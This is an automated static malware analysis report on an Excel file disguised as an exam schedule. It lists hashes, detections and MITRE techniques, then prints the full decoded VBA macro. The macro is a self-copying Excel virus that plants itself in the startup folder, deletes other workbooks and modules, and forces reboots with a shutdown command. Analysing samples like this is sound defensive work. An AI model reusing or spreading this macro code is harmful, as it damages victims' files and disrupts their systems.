Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 41b3f3e3359f882a…

MALICIOUS

Office (OLE)

64.5 KB Created: 2007-07-06 01:10:58 Authoring application: Microsoft Excel First seen: 2015-09-24
MD5: 06d8fcd89cd791b3481fdaf0f4d1ef50 SHA-1: 0f3488e608b78cdbf26f08ff2785ccddd22acac8 SHA-256: 41b3f3e3359f882a6806d12e7502118bab2c8bfb4e07da269b356328208ed85a
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The critical heuristic 'OLE_VBA_SHELL' and the presence of VBA macros indicate the file is designed to execute commands. The 'auto_open' subroutine contains logic to potentially copy itself to the startup path and execute a 'shutdown -r -f -t 00' command, which is a critical system command to force a reboot. The document body, appearing as an exam schedule, serves as a lure to trick the user into opening the malicious Excel file.

Heuristics 5

  • ClamAV: Xls.Virus.Shutdown-6922872-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Shutdown-6922872-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    If FileDateTime(Application.StartupPath & "\SPECS.xls") + 200 < Now Then Shell ("shutdown -r -f -t 00")
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub auto_close()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1883 bytes
SHA-256: 247f99119e3f9a7bab320590df043cd02a3e70da2a9996db2eb90601eedd092e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SPECS"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.EnableEvents = False
    For Each kil In Workbooks
    If kil.Name <> "SPECS.xls" And kil.Path = Application.StartupPath Then
    fn = kil.FullName
    kil.Close (False)
    Kill (fn)
    End If
    Next
Application.EnableEvents = True
Randomize
If ThisWorkbook.Path <> Application.StartupPath Then
    If Dir(Application.StartupPath & "\SPECS.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets(1).Copy
    nam = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks(nam).SaveAs (Application.StartupPath & "\SPECS.xls")
    End If
If Rnd() < 0.01 Then ThisWorkbook.Password = "joker"
Else
'att
If FileDateTime(Application.StartupPath & "\SPECS.xls") + 200 < Now Then Shell ("shutdown -r -f -t 00")
End If
Application.OnWindow = "cop"
Application.OnSheetActivate = "cop"
End Sub
Sub cop()
Attribute cop.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each mo In ActiveWorkbook.Modules
If mo.Name <> "SPECS" Then mo.Delete
Next
If ActiveWorkbook.Sheets(1).Name <> "SPECS" Then
ThisWorkbook.Sheets(1).Copy ActiveWorkbook.Sheets(1)
If ActiveWorkbook.Path <> "" Then ActiveWorkbook.Save
End If
Application.OnSheetActivate = "cop"
End Sub

Sub auto_close()
Attribute auto_close.VB_ProcData.VB_Invoke_Func = " \n14"
If Rnd() < 0.01 Then Shell ("shutdown -r -f -t 00")
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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